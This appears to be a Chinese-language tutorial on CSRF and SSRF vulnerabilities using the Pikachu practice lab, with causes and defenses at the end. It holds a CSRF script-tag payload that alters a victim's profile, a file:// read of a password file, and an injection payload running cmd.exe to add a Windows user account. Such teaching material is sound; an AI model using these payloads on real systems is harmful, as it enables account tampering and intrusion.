一、CSRF&SSRF漏洞与危害
CSRF简称:跨站请求伪造,存在巨大的危害性。在CSRF的攻击场景中,攻击者会伪造一个(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了,所以CSRF攻击也称为一次点击攻击(one-click attack)。
二、CSRF攻击前提条件
有这个漏洞、用户已经登录、对协议包很了解、浏览器支持用户点击。
三、案例
(1)手工编写代码
<script src='http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=gg&phonenum=1111&add=11111&email=111111&submit=submit'>
</script>
XXXXX(网页内容)
将代码部署到恶意服务器,投放给被攻击者。当受害者点击链接时,攻击生效,数据已经被修改。
(2)生成攻击页面
1、BurpSuite生成
生成代码重名名即可。
2、OWASP-CSRFT
链接:https://pan.baidu.com/s/1anHN5f32D8fi2JZvz8AmKg?pwd=0i7a
提取码:0i7a
注:需要设置端口号8008
因为是get请求使用IMG,如为post请求改为Forms表单。
四、SSRF简介
SSRF(服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。
攻击者通过篡改 URL 路径遍历或完全替换它来操纵 URL, 以向他们选择的任意域发出 HTTP 请求。 SSRF 攻击可以利用链接到组织基础架构内,不应向用户公开的内部服务或用户不应访问的外部系统的 URL。
内网探测 http
通过读取端口来确定端口是否开启
读取本地文件 file
file://C:\Users\86188\Desktop\pwd.txt
此方法比较鸡肋
探测ftp
FTP是一种用来在网络上传输文件的协议,通常用于将文件从一个计算机传输到另一个计算机。
攻击payload及过程:
Payload:
http://192.168.0.2:8080/?search==%00{.exec|cmd.exe /c [Command-String].}
攻击过程实例:
http://192.168.0.2:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}
五、SSRF成因与防御
原因
由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
防御
检验参数,不允许内网段IP操作
限制协议为HTTP、HTTPS,禁用不需要的协议可以防止类似于file:// ftp:// 等引起的问题
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准